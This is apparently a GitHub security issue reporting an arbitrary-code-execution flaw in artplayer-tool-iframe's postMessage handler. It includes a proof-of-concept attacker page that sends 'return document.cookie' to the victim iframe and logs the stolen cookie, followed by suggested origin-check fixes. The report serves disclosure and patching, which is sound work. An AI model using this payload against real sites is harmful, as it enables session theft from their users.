Skip to content

Arbitrary Code Execution via postMessage in artplayer-tool-iframe #1039

@AAtomical

Description

@AAtomical

Summary

artplayer-tool-iframe (v1.1.0 and below) registers a window.addEventListener("message") handler that executes attacker-controlled code via new Function(event.data.data)() without validating event.origin or event.source. Any cross-origin page that can obtain a reference to the iframe window (e.g., a parent page, an opener, or a sibling frame) can execute arbitrary JavaScript in the iframe's origin context.

Affected Component

  • Package: artplayer-tool-iframe v1.1.0 (bundled in the ArtPlayer monorepo)
  • File: packages/artplayer-tool-iframe/src/index.js
  • Method: ArtplayerToolIframe.onMessage()
  • Trigger: Any page calling ArtplayerToolIframe.inject() inside an iframe (as shown in docs/iframe.html)

Root Cause

// packages/artplayer-tool-iframe/src/index.js — line 27-43
static async onMessage(event) {
    // ❌ No event.origin check
    // ❌ No event.source check
    const { type, data, id } = event.data
    switch (type) {
      case 'commit':
        // ❌ Directly passes untrusted 'data' string into new Function()
        const result = new Function(data)()   // ← Arbitrary code execution
        ...
    }
}

static inject() {
    // Registers the vulnerable handler on ANY message
    window.addEventListener('message', ArtplayerToolIframe.onMessage)
}

Attack Scenario

  1. A website deploys ArtPlayer inside an iframe and calls ArtplayerToolIframe.inject() (as documented in the official usage guide)
  2. An attacker embeds that site in their own page via <iframe>, or the victim visits an attacker-controlled page that opens a reference to the player page
  3. The attacker sends a postMessage to the player iframe with {type: "commit", data: "<malicious JS>"}
  4. The victim iframe executes the malicious code and returns the result back via postMessage

Proof of Concept

Prerequisites

  • Node.js / Python for a local HTTP server
  • artplayer@5.4.0 and artplayer-tool-iframe v1.1.0 from CDN

Steps to Reproduce

git clone <this-poc-directory>
cd artplayer-postmessage-xss
python3 -m http.server 8080
# Open http://localhost:8080/exploit.html

exploit.html (attacker page):

<iframe id="victim" src="victim-player.html"></iframe>
<script>
const victim = document.getElementById('victim');

window.addEventListener('message', function(ev) {
    if (ev.data.type === 'inject') {
        // Victim iframe is ready — send exploit
        victim.contentWindow.postMessage({
            type: 'commit',
            data: 'return document.cookie',
            id: 1
        }, '*');
    }
    if (ev.data.type === 'response') {
        console.log('STOLEN:', ev.data.data);
        // → "session_token=eyJhbGciOiJIUzI1NiJ9..."
    }
});
</script>

victim-player.html (legitimate site using ArtPlayer):

<script src="artplayer.js"></script>
<script type="module">
    import ArtplayerToolIframe from './artplayer-tool-iframe.mjs';
    new Artplayer({ container: '.artplayer-app', url: 'video.mp4' });
    ArtplayerToolIframe.inject();  // ← Enables the vulnerable handler
</script>

Result

Clicking "Steal Cookies" in the PoC sends:

victim.contentWindow.postMessage({type: "commit", data: "return document.cookie", id: 1}, "*")

The iframe executes new Function("return document.cookie")() and posts the cookie value back to the attacker page. No user interaction required beyond loading the page.

Image

Suggested Fix

Add origin validation in onMessage():

static async onMessage(event) {
    // Fix: validate that the message comes from the expected parent origin
    if (event.origin !== window.location.origin && 
        event.origin !== expectedParentOrigin) {
        return;
    }
    // ... rest of handler
}

Alternatively, allow users to configure a trusted origin:

static inject({ trustedOrigin } = {}) {
    ArtplayerToolIframe._trustedOrigin = trustedOrigin;
    window.addEventListener('message', ArtplayerToolIframe.onMessage);
}

static async onMessage(event) {
    if (ArtplayerToolIframe._trustedOrigin && 
        event.origin !== ArtplayerToolIframe._trustedOrigin) {
        return;
    }
    // ...
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions